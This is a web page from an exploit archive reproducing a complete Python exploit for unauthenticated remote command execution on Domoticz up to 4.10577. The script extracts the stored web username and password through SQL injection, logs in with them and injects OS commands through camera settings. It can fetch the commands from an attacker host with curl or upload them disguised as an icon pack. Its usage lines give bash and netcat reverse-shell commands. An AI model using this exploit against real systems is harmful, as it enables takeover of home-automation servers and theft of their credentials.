domoticz 4.10577 unauthenticated remote command execution

▸▸▸ Exploit & Vulnerability >>   webapps exploit & multiple vulnerability




domoticz 4.10577 unauthenticated remote command execution Code Code...
				
#!/usr/bin/env python #-*- coding: utf-8 -*- # Exploit Title: Unauthenticated Remote Command Execution on Domoticz <= 4.10577 # Date: April 2019 # Exploit Author: Fabio Carretto @ Certimeter Group # Vendor Homepage: https://www.domoticz.com/ # Software Link: https://www.domoticz.com/downloads/ # Version: Domoticz <= 4.10577 # Tested on: Debian 9 # CVE: CVE-2019-10664, CVE-2019-10678 # ==================================================================== # Bypass authentication, inject commands and execute them # Required login page or no authentication (doesn't work with "Basic-Auth" setting) # There are 3 injection modes. The 1st and the 2nd bypass the char filter: # 1.Default mode insert the commands in a script and reply with it once to # an HTTP request. Set address and port of the attacker host with -H and -P # 2.(-zipcmd) a zip icon pack will be uploaded. The domoticz installation path # can be optionally specified with -path /opt/domoti.. # 3.(-direct) commands executed directly. Characters like & pipe or redirection # cannot be used. The execution may block domoticz web server until the end # Examples: # ./exploit.py -H 172.17.0.1 -P 2222 http://172.17.0.2:8080/ 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1 &' # ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &' import argparse import requests import urllib import base64 import json import BaseHTTPServer import zipfile import thread # Retrieve data from db with the SQL Injection on the public route def steal_dbdata(field): sqlinj = sqlpref % field urltmp = url_sqlinj + sqlinj r = session.get(urltmp) print '[+] %s: %s' % (field,r.text) return r.text # Login and return the SID cookie def dologin(username, password): url_login_cred = url_login % (username, password) r = session.get(url_login_cred) sid = r.headers['Set-Cookie'] sid = sid[sid.find('SID=')+4 : sid.find(';')] print '[+] SID=' + sid return sid # Search an uvc cam. If exists return its json config def get_uvc_cam(): r = session.get(url_camjson) cams = json.loads(r.text) if cams['status'] == 'OK' and 'result' in cams: for cam in cams['result']: if cam['ImageURL']=='uvccapture.cgi': return cam return None # Prompt the user and ask if continue or not def prompt_msg(msg): print '[+] WARNING: ' + msg if not args.f and not raw_input('[+] Continue? [y/N]: ') in ["y","Y"]: exit(0) return None # Embed the commands in a zip icon file (-zipcmd) def create_zip(commandsline): zipname = 'iconpackfake.zip' with zipfile.ZipFile(zipname, 'w') as zip: zip.writestr('icons.txt', "fakeicon;Button fakeicon;fake") zip.writestr('fakeicon.png', commandsline) zip.writestr('fakeicon48_On.png', commandsline) zip.writestr('fakeicon48_Off.png', commandsline) return zipname # HTTP server that reply once with the content of the script class SingleHandler(BaseHTTPServer.BaseHTTPRequestHandler): respbody = "" def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(self.respbody) return None def log_request(self, code): pass #-------------------------------------------------------------------- # INITIALIZATION #-------------------------------------------------------------------- parser = argparse.ArgumentParser( description="""Unauthenticated Remote Command Execution on Domoticz! (version <= 4.10577) Bypass authentication, inject os commands and execute them!""", epilog="""The default mode (1) insert the commands in a script and reply with it once to an HTTP request, use -H address and -P port. The -zipcmd (2) or -direct (3) option override the default mode.""") parser.add_argument('-noexec', action='store_true', help='no cmd injection, just steal credentials') parser.add_argument('-zipcmd', action='store_true', help='upload a zip icon pack with commands inside (2)') parser.add_argument('-direct', action='store_true', help='inject commands directly in uvc params (3)') parser.add_argument('-H', dest='lhost', type=str, help='address/name of attacker host in default mode (1)') parser.add_argument('-P', dest='lport', type=int, help='tcp port of attacker host in default mode (1)') parser.add_argument('-path', dest='path', type=str, default='/src/domoticz', help='change root path of domoticz to find the uploaded icon(script). Useful only with -zipcmd option') parser.add_argument('-f', action='store_true', help='shut up and do it') parser.add_argument('url', metavar='URL', nargs=1, type=str, help='target URL e.g.: http://localhost:8080/') parser.add_argument('cmd', metavar='cmd', nargs='+', type=str, help='os command to execute, ' 'send it in background or do a short job, the domoticz web server will hang during execution') args = parser.parse_args() if not(args.direct or args.zipcmd) and (args.lhost is None or args.lport is None): print '[-] Default mode needs host (-H) and port (-P) of attacker to download the commands' exit(0) username = '' password = '' cookies = dict() noauth = True sqlpref = 'UNION SELECT sValue FROM Preferences WHERE Key="%s" -- ' cmd = args.cmd url = args.url[0][:-1] if args.url[0][-1]=='/' else args.url[0] url_sqlinj = url + '/images/floorplans/plan?idx=1 ' url_login = url + '/json.htm?type=command&param=logincheck&username=%s&password=%s&rememberme=true' url_getconf = url + '/json.htm?type=settings' url_setconf = url + '/storesettings.webem' url_iconupl = url + '/uploadcustomicon' url_camjson = url + '/json.htm?type=cameras' url_camlive = url + '/camsnapshot.jpg?idx=' url_camadd = url + '/json.htm?type=command&param=addcamera&address=127.0.0.1&port=8080' \ '&name=uvccam&enabled=true&username=&password=&imageurl=dXZjY2FwdHVyZS5jZ2k%3D&protocol=0' cmd_zipicon = ['chmod 777 %s/www/images/fakeicon48_On.png' % args.path, '%s/www/images/fakeicon48_On.png' % args.path] cmd_default = ['curl %s -o /tmp/myexec.sh -m 5', 'chmod 777 /tmp/myexec.sh', '/tmp/myexec.sh'] #-------------------------------------------------------------------- # AUTHENTICATION BYPASS #-------------------------------------------------------------------- session = requests.Session() r = session.get(url_getconf) if r.status_code == 401: noauth = False username = steal_dbdata('WebUserName') password = steal_dbdata('WebPassword') cookies['SID'] = dologin(username, password) r = session.get(url_getconf) if args.noexec is True: exit(0) settings = json.loads(r.text) settings.pop('UVCParams', None) #-------------------------------------------------------------------- # Fix necessary to not break or lose settings chn = {'WebTheme':'Themes','UseAutoBackup':'enableautobackup','UseAutoUpdate':'checkforupdates'} for k in chn: settings[chn[k]] = settings.pop(k, None) sub = settings.pop('MyDomoticzSubsystems', 0) if sub >= 4: settings['SubsystemApps'] = 4; sub -= 4 if sub >= 2: settings['SubsystemShared'] = 2; sub -= 2 if sub == 1: settings['SubsystemHttp'] = 1 try: settings['HTTPURL'] = base64.b64decode(settings['HTTPURL']) settings['HTTPPostContentType'] = base64.b64decode(settings['HTTPPostContentType']) settings['Latitude'] = settings['Location']['Latitude'] settings['Longitude'] = settings['Location']['Longitude'] settings.pop('Location', None) except: pass toOn = ['allow','accept','hide','enable','disable','trigger','animate','show'] toOn += ['usee','floorplanfullscreen','senderrorsasn','emailasa','checkforupdates'] for k in [x for x in settings if any([y for y in toOn if y in x.lower()])]: if(str(settings[k]) == '1'): settings[k] = 'on' elif(str(settings[k]) == '0'): settings.pop(k, None) #-------------------------------------------------------------------- # COMMAND INJECTION #-------------------------------------------------------------------- cmdwrap = '\n'.join(['#!/bin/bash'] + cmd) payload = urllib.urlencode(settings) + '&' if cmd[-1][-1] != '&' and not args.direct: prompt_msg('if not sent in background the commands may block domoticz') if args.direct: prompt_msg('in direct mode & pipe redirect are not allowed (may block domoticz)') elif args.zipcmd: fakezip = create_zip(cmdwrap) files = [('file',(fakezip, open(fakezip,'rb'), 'application/zip'))] r = session.post(url_iconupl, files=files) cmd = cmd_zipicon else: httpd = BaseHTTPServer.HTTPServer(("", args.lport), SingleHandler) SingleHandler.respbody = cmdwrap thread.start_new_thread(httpd.handle_request, ()) cmd_default[0] = cmd_default[0] % ('http://%s:%d/' % (args.lhost,args.lport)) cmd = cmd_default # Encode the space and send the others in clear (chars like <>&;| not allowed) cmdencode = '\n'.join([x.replace(' ', '+') for x in cmd]) payload += 'UVCParams=-d+/dev/aaa\n%s\n#' % (cmdencode) req = requests.Request('POST', url_setconf, data=payload, cookies=cookies) r = session.send(req.prepare()) print '[+] Commands successfully injected' #-------------------------------------------------------------------- # COMMAND EXECUTION #-------------------------------------------------------------------- if noauth: session.cookies.clear() # fix if authentication is disabled cam = get_uvc_cam() if cam is None: print '[+] Adding new UVC camera' r = session.get(url_camadd) cam = get_uvc_cam() print '[+] Execution on cam with idx: ' + str(cam['idx']) r = session.get(url_camlive + str(cam['idx'])) # Restore the default UVC parameters (like a ninja) settings['UVCParams'] = '-S80 -B128 -C128 -G80 -x800 -y600 -q100' session.post(url_setconf, data=settings) print '[+] Done! Restored default uvc params!'

Domoticz 4.10577 unauthenticated remote command execution Vulnerability / Exploit Source : Domoticz 4.10577 unauthenticated remote command execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.